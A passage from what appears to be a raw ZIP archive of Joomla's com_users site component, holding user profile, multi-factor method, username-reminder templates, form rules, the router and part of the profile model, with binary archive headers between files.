            <?php foreach ($fields as $field) : ?>
                <?php if (!$field->hidden) : ?>
                    <dt>
                        <?php echo $field->title; ?>
                    </dt>
                    <dd>
                        <?php if (HTMLHelper::isRegistered('users.' . $field->id)) : ?>
                            <?php echo HTMLHelper::_('users.' . $field->id, $field->value); ?>
                        <?php elseif (HTMLHelper::isRegistered('users.' . $field->fieldname)) : ?>
                            <?php echo HTMLHelper::_('users.' . $field->fieldname, $field->value); ?>
                        <?php elseif (HTMLHelper::isRegistered('users.' . $field->type)) : ?>
                            <?php echo HTMLHelper::_('users.' . $field->type, $field->value); ?>
                        <?php else : ?>
                            <?php echo HTMLHelper::_('users.value', $field->value); ?>
                        <?php endif; ?>
                    </dd>
                <?php endif; ?>
            <?php endforeach; ?>
        </dl>
    </fieldset>
<?php endif; ?>
PK���\ݣ���)com_users/tmpl/profile/default_custom.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$fieldsets = $this->form->getFieldsets();

if (isset($fieldsets['core'])) {
    unset($fieldsets['core']);
}

if (isset($fieldsets['params'])) {
    unset($fieldsets['params']);
}

$tmp          = $this->data->jcfields ?? [];
$customFields = [];

foreach ($tmp as $customField) {
    $customFields[$customField->name] = $customField;
}

unset($tmp);

?>
<?php foreach ($fieldsets as $group => $fieldset) : ?>
    <?php $fields = $this->form->getFieldset($group); ?>
    <?php if (count($fields)) : ?>
        <fieldset id="users-profile-custom-<?php echo $group; ?>" class="com-users-profile__custom users-profile-custom-<?php echo $group; ?>">
            <?php if (isset($fieldset->label) && ($legend = trim(Text::_($fieldset->label))) !== '') : ?>
                <legend><?php echo $legend; ?></legend>
            <?php endif; ?>
            <?php if (isset($fieldset->description) && trim($fieldset->description)) : ?>
                <p><?php echo $this->escape(Text::_($fieldset->description)); ?></p>
            <?php endif; ?>
            <dl class="dl-horizontal">
                <?php foreach ($fields as $field) : ?>
                    <?php // Correct the field name so that subform custom fields show up. ?>
                    <?php if ($field->type === 'Subform' && $field->fieldname === 'row') : ?>
                        <?php preg_match("/jform\[com_fields]\[(.*)]/", $field->name, $matches); ?>
                        <?php $field->fieldname = $matches[1]; ?>
                    <?php endif; ?>
                    <?php if (!$field->hidden && $field->type !== 'Spacer') : ?>
                        <dt>
                            <?php echo $field->title; ?>
                        </dt>
                        <dd>
                            <?php if (array_key_exists($field->fieldname, $customFields)) : ?>
                                <?php echo strlen($customFields[$field->fieldname]->value) ? $customFields[$field->fieldname]->value : Text::_('COM_USERS_PROFILE_VALUE_NOT_FOUND'); ?>
                            <?php elseif (HTMLHelper::isRegistered('users.' . $field->id)) : ?>
                                <?php echo HTMLHelper::_('users.' . $field->id, $field->value); ?>
                            <?php elseif (HTMLHelper::isRegistered('users.' . $field->fieldname)) : ?>
                                <?php echo HTMLHelper::_('users.' . $field->fieldname, $field->value); ?>
                            <?php elseif (HTMLHelper::isRegistered('users.' . $field->type)) : ?>
                                <?php echo HTMLHelper::_('users.' . $field->type, $field->value); ?>
                            <?php else : ?>
                                <?php echo HTMLHelper::_('users.value', $field->value); ?>
                            <?php endif; ?>
                        </dd>
                    <?php endif; ?>
                <?php endforeach; ?>
            </dl>
        </fieldset>
    <?php endif; ?>
<?php endforeach; ?>
PK���\�,�	++"com_users/tmpl/profile/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_PROFILE_VIEW_DEFAULT_TITLE" option="COM_USERS_PROFILE_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_User_Profile"
		/>
		<message>
			<![CDATA[COM_USERS_PROFILE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
PK���\ ��"com_users/tmpl/profile/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<div class="com-users-profile profile">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>

    <?php if (Factory::getUser()->id == $this->data->id) : ?>
        <ul class="com-users-profile__edit btn-toolbar float-end">
            <li class="btn-group">
                <a class="btn btn-primary" href="<?php echo Route::_('index.php?option=com_users&task=profile.edit&user_id=' . (int) $this->data->id); ?>">
                    <span class="icon-user-edit" aria-hidden="true"></span> <?php echo Text::_('COM_USERS_EDIT_PROFILE'); ?>
                </a>
            </li>
        </ul>
    <?php endif; ?>

    <?php echo $this->loadTemplate('core'); ?>
    <?php echo $this->loadTemplate('params'); ?>
    <?php echo $this->loadTemplate('custom'); ?>
</div>
PK���\�D500com_users/tmpl/profile/edit.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_PROFILE_EDIT_DEFAULT_TITLE" option="COM_USERS_PROFILE_EDIT_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Edit_User_Profile"
		/>
		<message>
			<![CDATA[COM_USERS_PROFILE_EDIT_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
PK���\��mu

com_users/tmpl/profile/edit.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\Component\Users\Site\View\Profile\HtmlView $this */

HTMLHelper::_('bootstrap.tooltip', '.hasTooltip');

// Load user_profile plugin language
$lang = $this->getLanguage();
$lang->load('plg_user_profile', JPATH_ADMINISTRATOR);

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-profile__edit profile-edit">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>

    <form id="member-profile" action="<?php echo Route::_('index.php?option=com_users'); ?>" method="post" class="com-users-profile__edit-form form-validate form-horizontal well" enctype="multipart/form-data">
        <?php // Iterate through the form fieldsets and display each one. ?>
        <?php foreach ($this->form->getFieldsets() as $group => $fieldset) : ?>
            <?php $fields = $this->form->getFieldset($group); ?>
            <?php if (count($fields)) : ?>
                <fieldset>
                    <?php // If the fieldset has a label set, display it as the legend. ?>
                    <?php if (isset($fieldset->label)) : ?>
                        <legend>
                            <?php echo Text::_($fieldset->label); ?>
                        </legend>
                    <?php endif; ?>
                    <?php if (isset($fieldset->description) && trim($fieldset->description)) : ?>
                        <p>
                            <?php echo $this->escape(Text::_($fieldset->description)); ?>
                        </p>
                    <?php endif; ?>
                    <?php // Iterate through the fields in the set and display them. ?>
                    <?php foreach ($fields as $field) : ?>
                        <?php echo $field->renderField(); ?>
                    <?php endforeach; ?>
                </fieldset>
            <?php endif; ?>
        <?php endforeach; ?>

        <?php if ($this->mfaConfigurationUI) : ?>
            <fieldset class="com-users-profile__multifactor">
                <legend><?php echo Text::_('COM_USERS_PROFILE_MULTIFACTOR_AUTH'); ?></legend>
                <?php echo $this->mfaConfigurationUI ?>
            </fieldset>
        <?php endif; ?>

        <div class="com-users-profile__edit-submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate" name="task" value="profile.save">
                    <span class="icon-check" aria-hidden="true"></span>
                    <?php echo Text::_('JSAVE'); ?>
                </button>
                <button type="submit" class="btn btn-danger" name="task" value="profile.cancel" formnovalidate>
                    <span class="icon-times" aria-hidden="true"></span>
                    <?php echo Text::_('JCANCEL'); ?>
                </button>
                <input type="hidden" name="option" value="com_users">
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\�ֺ1FF'com_users/tmpl/profile/default_core.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

?>
<fieldset id="users-profile-core" class="com-users-profile__core">
    <legend>
        <?php echo Text::_('COM_USERS_PROFILE_CORE_LEGEND'); ?>
    </legend>
    <dl class="dl-horizontal">
        <dt>
            <?php echo Text::_('COM_USERS_PROFILE_NAME_LABEL'); ?>
        </dt>
        <dd>
            <?php echo $this->escape($this->data->name); ?>
        </dd>
        <dt>
            <?php echo Text::_('COM_USERS_PROFILE_USERNAME_LABEL'); ?>
        </dt>
        <dd>
            <?php echo $this->escape($this->data->username); ?>
        </dd>
        <dt>
            <?php echo Text::_('COM_USERS_PROFILE_REGISTERED_DATE_LABEL'); ?>
        </dt>
        <dd>
            <?php echo HTMLHelper::_('date', $this->data->registerDate, Text::_('DATE_FORMAT_LC1')); ?>
        </dd>
        <dt>
            <?php echo Text::_('COM_USERS_PROFILE_LAST_VISITED_DATE_LABEL'); ?>
        </dt>
        <?php if ($this->data->lastvisitDate !== null) : ?>
            <dd>
                <?php echo HTMLHelper::_('date', $this->data->lastvisitDate, Text::_('DATE_FORMAT_LC1')); ?>
            </dd>
        <?php else : ?>
            <dd>
                <?php echo Text::_('COM_USERS_PROFILE_NEVER_VISITED'); ?>
            </dd>
        <?php endif; ?>
    </dl>
</fieldset>
PK���\H]���	�	%com_users/tmpl/method/backupcodes.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\View\Method\HtmlView;

/** @var  HtmlView $this */

HTMLHelper::_('bootstrap.tooltip', '.hasTooltip');

$cancelURL = Route::_('index.php?option=com_users&task=methods.display&user_id=' . $this->user->id);

if (!empty($this->returnURL)) {
    $cancelURL = $this->escape(base64_decode($this->returnURL));
}

if ($this->record->method != 'backupcodes') {
    throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

?>
<h2>
    <?php echo Text::_('COM_USERS_USER_BACKUPCODES') ?>
</h2>

<div class="alert alert-info">
    <?php echo Text::_('COM_USERS_USER_BACKUPCODES_DESC') ?>
</div>

<table class="table table-striped">
    <?php for ($i = 0; $i < (count($this->backupCodes) / 2); $i++) : ?>
        <tr>
            <td>
                <?php if (!empty($this->backupCodes[2 * $i])) : ?>
                    <?php // This is a Key emoji; we can hide it from screen readers ?>
                    <span aria-hidden="true">&#128273;</span>
                    <?php echo $this->backupCodes[2 * $i] ?>
                <?php endif; ?>
            </td>
            <td>
                <?php if (!empty($this->backupCodes[1 + 2 * $i])) : ?>
                    <?php // This is a Key emoji; we can hide it from screen readers ?>
                    <span aria-hidden="true">&#128273;</span>
                    <?php echo $this->backupCodes[1 + 2 * $i] ?>
                <?php endif ;?>
            </td>
        </tr>
    <?php endfor; ?>
</table>

<p>
    <?php echo Text::_('COM_USERS_MFA_BACKUPCODES_RESET_INFO'); ?>
</p>

<a class="btn btn-danger" href="<?php echo Route::_(sprintf("index.php?option=com_users&task=method.regenerateBackupCodes&user_id=%s&%s=1%s", $this->user->id, Factory::getApplication()->getFormToken(), empty($this->returnURL) ? '' : '&returnurl=' . $this->returnURL)) ?>">
    <span class="icon icon-refresh" aria-hidden="true"></span>
    <?php echo Text::_('COM_USERS_MFA_BACKUPCODES_RESET'); ?>
</a>

<a href="<?php echo $cancelURL ?>"
   class="btn btn-secondary">
    <span class="icon icon-cancel-2 icon-ban-circle"></span>
    <?php echo Text::_('JCANCEL'); ?>
</a>
PK���\�D��com_users/tmpl/method/edit.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\View\Method\HtmlView;
use Joomla\Utilities\ArrayHelper;

/** @var  HtmlView  $this */

$cancelURL = Route::_('index.php?option=com_users&task=methods.display&user_id=' . $this->user->id);

if (!empty($this->returnURL)) {
    $cancelURL = $this->escape(base64_decode($this->returnURL));
}

$recordId     = (int) $this->record->id ?? 0;
$method       = $this->record->method ?? $this->getModel()->getState('method');
$userId       = (int) $this->user->id ?? 0;
$headingLevel = 2;
$hideSubmit   = !$this->renderOptions['show_submit'] && !$this->isEditExisting
?>
<div class="card card-body">
    <form action="<?php echo Route::_(sprintf("index.php?option=com_users&task=method.save&id=%d&method=%s&user_id=%d", $recordId, $method, $userId)) ?>"
          class="form form-horizontal" id="com-users-method-edit" method="post">
        <?php echo HTMLHelper::_('form.token') ?>
        <?php if (!empty($this->returnURL)) : ?>
        <input type="hidden" name="returnurl" value="<?php echo $this->escape($this->returnURL) ?>">
        <?php endif; ?>

        <?php if (!empty($this->renderOptions['hidden_data'])) : ?>
            <?php foreach ($this->renderOptions['hidden_data'] as $key => $value) : ?>
        <input type="hidden" name="<?php echo $this->escape($key) ?>" value="<?php echo $this->escape($value) ?>">
            <?php endforeach; ?>
        <?php endif; ?>

        <?php if (!empty($this->title)) : ?>
            <?php if (!empty($this->renderOptions['help_url'])) : ?>
            <span class="float-end">
                <a href="<?php echo $this->renderOptions['help_url'] ?>"
                   class="btn btn-sm btn-default btn-inverse btn-dark"
                   target="_blank"
                >
                    <span class="icon icon-question-sign" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('JHELP') ?></span>
                </a>
            </span>
            <?php endif;?>
            <h<?php echo $headingLevel ?> id="com-users-method-edit-head">
                <?php echo Text::_($this->title) ?>
            </h<?php echo $headingLevel ?>>
            <?php $headingLevel++ ?>
        <?php endif; ?>

        <div class="row">
            <label class="col-sm-3 col-form-label"
                for="com-users-method-edit-title">
                <?php echo Text::_('COM_USERS_MFA_EDIT_FIELD_TITLE'); ?>
            </label>
            <div class="col-sm-9">
                <input type="text"
                        class="form-control"
                        id="com-users-method-edit-title"
                        name="title"
                        value="<?php echo $this->escape($this->record->title) ?>"
                        aria-describedby="com-users-method-edit-help">
                <p class="form-text" id="com-users-method-edit-help">
                    <?php echo $this->escape(Text::_('COM_USERS_MFA_EDIT_FIELD_TITLE_DESC')) ?>
                </p>
            </div>
        </div>

        <div class="row">
            <div class="col-sm-9 offset-sm-3">
                <div class="form-check">
                    <input class="form-check-input" type="checkbox" id="com-users-is-default-method" <?php echo $this->record->default ? 'checked="checked"' : ''; ?> name="default">
                    <label class="form-check-label" for="com-users-is-default-method">
                        <?php echo Text::_('COM_USERS_MFA_EDIT_FIELD_DEFAULT'); ?>
                    </label>
                </div>
            </div>
        </div>

        <?php if (!empty($this->renderOptions['pre_message'])) : ?>
        <div class="com-users-method-edit-pre-message text-muted mt-4 mb-3">
            <?php echo $this->renderOptions['pre_message'] ?>
        </div>
        <?php endif; ?>

        <?php if (!empty($this->renderOptions['tabular_data'])) : ?>
        <div class="com-users-method-edit-tabular-container">
            <?php if (!empty($this->renderOptions['table_heading'])) : ?>
                <h<?php echo $headingLevel ?> class="h3 border-bottom mb-3">
                    <?php echo $this->renderOptions['table_heading'] ?>
                </h<?php echo $headingLevel ?>>
            <?php endif; ?>
            <table class="table table-striped">
                <tbody>
                <?php foreach ($this->renderOptions['tabular_data'] as $cell1 => $cell2) : ?>
                <tr>
                    <td>
                        <?php echo $cell1 ?>
                    </td>
                    <td>
                        <?php echo $cell2 ?>
                    </td>
                </tr>
                <?php endforeach; ?>
                </tbody>
            </table>
        </div>
        <?php endif; ?>

        <?php if ($this->renderOptions['field_type'] == 'custom') : ?>
            <?php echo $this->renderOptions['html']; ?>
        <?php endif; ?>
        <div class="row mb-3 <?php echo $this->renderOptions['input_type'] === 'hidden' ? 'd-none' : '' ?>">
            <?php if ($this->renderOptions['label']) : ?>
            <label class="col-sm-3 col-form-label" for="com-users-method-code">
                <?php echo $this->renderOptions['label']; ?>
            </label>
            <?php endif; ?>
            <div class="col-sm-9" <?php echo $this->renderOptions['label'] ? '' : 'offset-sm-3' ?>>
                <?php
                $attributes = array_merge(
                    [
                        'type'             => $this->renderOptions['input_type'],
                        'name'             => 'code',
                        'value'            => $this->escape($this->renderOptions['input_value']),
                        'id'               => 'com-users-method-code',
                        'class'            => 'form-control',
                        'aria-describedby' => 'com-users-method-code-help',
                    ],
                    $this->renderOptions['input_attributes']
                );

                if (strpos($attributes['class'], 'form-control') === false) {
                    $attributes['class'] .= ' form-control';
                }
                ?>
                <input <?php echo ArrayHelper::toString($attributes) ?>>

                <p class="form-text" id="com-users-method-code-help">
                    <?php echo $this->escape($this->renderOptions['placeholder']) ?>
                </p>
            </div>
        </div>

        <div class="row mb-3">
            <div class="col-sm-9 offset-sm-3">
                <button type="submit" class="btn btn-primary me-3 <?php echo $hideSubmit ? 'd-none' : '' ?> <?php echo $this->renderOptions['submit_class'] ?>">
                    <span class="<?php echo $this->renderOptions['submit_icon'] ?>" aria-hidden="true"></span>
                    <?php echo Text::_($this->renderOptions['submit_text']); ?>
                </button>

                <a href="<?php echo $cancelURL ?>"
                   class="btn btn-sm btn-danger">
                    <span class="icon icon-cancel-2" aria-hidden="true"></span>
                    <?php echo Text::_('JCANCEL'); ?>
                </a>
            </div>
        </div>

        <?php if (!empty($this->renderOptions['post_message'])) : ?>
            <div class="com-users-method-edit-post-message text-muted">
                <?php echo $this->renderOptions['post_message'] ?>
            </div>
        <?php endif; ?>
    </form>
</div>
PK���\��ձ��!com_users/tmpl/remind/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-remind remind">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form id="user-registration" action="<?php echo Route::_('index.php?option=com_users&task=remind.remind'); ?>" method="post" class="com-users-remind__form form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (isset($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="com-users-remind__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\ܢ55!com_users/tmpl/remind/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_REMIND_VIEW_DEFAULT_TITLE" option="COM_USERS_REMIND_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Username_Reminder_Request"
		/>
		<message>
			<![CDATA[COM_USERS_REMIND_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
PK���\
�

+com_users/src/Rule/LoginUniqueFieldRule.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Rule;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormRule;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * FormRule for com_users to be sure only one redirect login field has a value
 *
 * @since  3.6
 */
class LoginUniqueFieldRule extends FormRule
{
    /**
     * Method to test if two fields have a value in order to use only one field.
     * To use this rule, the form
     * XML needs a validate attribute of loginuniquefield and a field attribute
     * that is equal to the field to test against.
     *
     * @param   \SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
     * @param   mixed              $value    The form field value to validate.
     * @param   string             $group    The field name group control value. This acts as an array container for the field.
     *                                       For example if the field has name="foo" and the group value is set to "bar" then the
     *                                       full field name would end up being "bar[foo]".
     * @param   Registry           $input    An optional Registry object with the entire data set to validate against the entire form.
     * @param   Form               $form     The form object for which the field is being tested.
     *
     * @return  boolean  True if the value is valid, false otherwise.
     *
     * @since   3.6
     */
    public function test(\SimpleXMLElement $element, $value, $group = null, Registry $input = null, Form $form = null)
    {
        $loginRedirectUrl       = $input['params']->login_redirect_url;
        $loginRedirectMenuitem  = $input['params']->login_redirect_menuitem;

        if ($form === null) {
            throw new \InvalidArgumentException(sprintf('The value for $form must not be null in %s', get_class($this)));
        }

        if ($input === null) {
            throw new \InvalidArgumentException(sprintf('The value for $input must not be null in %s', get_class($this)));
        }

        // Test the input values for login.
        if ($loginRedirectUrl != '' && $loginRedirectMenuitem != '') {
            return false;
        }

        return true;
    }
}
PK���\IG��

,com_users/src/Rule/LogoutUniqueFieldRule.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Rule;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormRule;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * FormRule for com_users to be sure only one redirect logout field has a value
 *
 * @since  3.6
 */
class LogoutUniqueFieldRule extends FormRule
{
    /**
     * Method to test if two fields have a value in order to use only one field.
     * To use this rule, the form
     * XML needs a validate attribute of logoutuniquefield and a field attribute
     * that is equal to the field to test against.
     *
     * @param   \SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
     * @param   mixed              $value    The form field value to validate.
     * @param   string             $group    The field name group control value. This acts as an array container for the field.
     *                                       For example if the field has name="foo" and the group value is set to "bar" then the
     *                                       full field name would end up being "bar[foo]".
     * @param   Registry           $input    An optional Registry object with the entire data set to validate against the entire form.
     * @param   Form               $form     The form object for which the field is being tested.
     *
     * @return  boolean  True if the value is valid, false otherwise.
     *
     * @since   3.6
     */
    public function test(\SimpleXMLElement $element, $value, $group = null, Registry $input = null, Form $form = null)
    {
        $logoutRedirectUrl      = $input['params']->logout_redirect_url;
        $logoutRedirectMenuitem = $input['params']->logout_redirect_menuitem;

        if ($form === null) {
            throw new \InvalidArgumentException(sprintf('The value for $form must not be null in %s', get_class($this)));
        }

        if ($input === null) {
            throw new \InvalidArgumentException(sprintf('The value for $input must not be null in %s', get_class($this)));
        }

        // Test the input values for logout.
        if ($logoutRedirectUrl != '' && $logoutRedirectMenuitem != '') {
            return false;
        }

        return true;
    }
}
PK���\$A��l
l
 com_users/src/Service/Router.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Service;

use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Component\Router\RouterView;
use Joomla\CMS\Component\Router\RouterViewConfiguration;
use Joomla\CMS\Component\Router\Rules\MenuRules;
use Joomla\CMS\Component\Router\Rules\NomenuRules;
use Joomla\CMS\Component\Router\Rules\StandardRules;
use Joomla\CMS\Menu\AbstractMenu;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Routing class from com_users
 *
 * @since  3.2
 */
class Router extends RouterView
{
    /**
     * Users Component router constructor
     *
     * @param   SiteApplication  $app   The application object
     * @param   AbstractMenu     $menu  The menu object to work with
     */
    public function __construct(SiteApplication $app, AbstractMenu $menu)
    {
        $this->registerView(new RouterViewConfiguration('login'));
        $profile = new RouterViewConfiguration('profile');
        $profile->addLayout('edit');
        $this->registerView($profile);
        $this->registerView(new RouterViewConfiguration('registration'));
        $this->registerView(new RouterViewConfiguration('remind'));
        $this->registerView(new RouterViewConfiguration('reset'));
        $this->registerView(new RouterViewConfiguration('callback'));
        $this->registerView(new RouterViewConfiguration('captive'));
        $this->registerView(new RouterViewConfiguration('methods'));

        $method = new RouterViewConfiguration('method');
        $method->setKey('id');
        $this->registerView($method);

        parent::__construct($app, $menu);

        $this->attachRule(new MenuRules($this));
        $this->attachRule(new StandardRules($this));
        $this->attachRule(new NomenuRules($this));
    }

    /**
     * Get the method ID from a URL segment
     *
     * @param   string  $segment  The URL segment
     * @param   array   $query    The URL query parameters
     *
     * @return integer
     * @since 4.2.0
     */
    public function getMethodId($segment, $query)
    {
        return (int) $segment;
    }

    /**
     * Get a segment from a method ID
     *
     * @param   integer  $id     The method ID
     * @param   array    $query  The URL query parameters
     *
     * @return int[]
     * @since 4.2.0
     */
    public function getMethodSegment($id, $query)
    {
        return [$id => (int) $id];
    }
}
PK���\����))$com_users/src/Model/CaptiveModel.phpnu�[���<?php

/**
 * @package    Joomla.Administrator
 * @subpackage com_users
 *
 * @copyright  (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Model;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Captive Multi-factor Authentication page's model
 *
 * @since 4.2.0
 */
class CaptiveModel extends \Joomla\Component\Users\Administrator\Model\CaptiveModel
{
}
PK���\�� �(�($com_users/src/Model/ProfileModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Model;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormFactoryInterface;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\FormModel;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserHelper;
use Joomla\Component\Users\Administrator\Model\UserModel;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Profile model class for Users.
 *
 * @since  1.6
 */
class ProfileModel extends FormModel
{
    /**
     * @var     object  The user profile data.
     * @since   1.6
     */
    protected $data;

    /**
     * Constructor.
     *
     * @param   array                 $config       An array of configuration options (name, state, dbo, table_path, ignore_request).
     * @param   MVCFactoryInterface   $factory      The factory.
     * @param   FormFactoryInterface  $formFactory  The form factory.
     *
     * @see     \Joomla\CMS\MVC\Model\BaseDatabaseModel
     * @since   3.2
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, FormFactoryInterface $formFactory = null)
    {
        $config = array_merge(
            [
                'events_map' => ['validate' => 'user'],
            ],
            $config
        );

        parent::__construct($config, $factory, $formFactory);
    }

    /**
     * Method to get the profile form data.
     *
     * The base form data is loaded and then an event is fired
     * for users plugins to extend the data.
     *
     * @return  User
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function getData()
    {
        if ($this->data === null) {
            $userId = $this->getState('user.id');

            // Initialise the table with Joomla\CMS\User\User.
            $this->data = new User($userId);

            // Set the base user data.
            $this->data->email1 = $this->data->get('email');

            // Override the base user data with any data in the session.
            $temp = (array) Factory::getApplication()->getUserState('com_users.edit.profile.data', []);

            foreach ($temp as $k => $v) {
                $this->data->$k = $v;
            }

            // Unset the passwords.
            unset($this->data->password1, $this->data->password2);

            $registry           = new Registry($this->data->params);
            $this->data->params = $registry->toArray();
        }

        return $this->data;
    }

    /**
     * Method to get the profile form.
     *
     * The base form is loaded from XML and then an event is fired
     * for users plugins to extend the form with extra fields.
     *
     * @param   array    $data      An optional array of data for the form to interrogate.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form|bool  A Form object on success, false on failure
     *
     * @since   1.6
     */
    public function getForm($data = [], $loadData = true)
    {
        // Get the form.
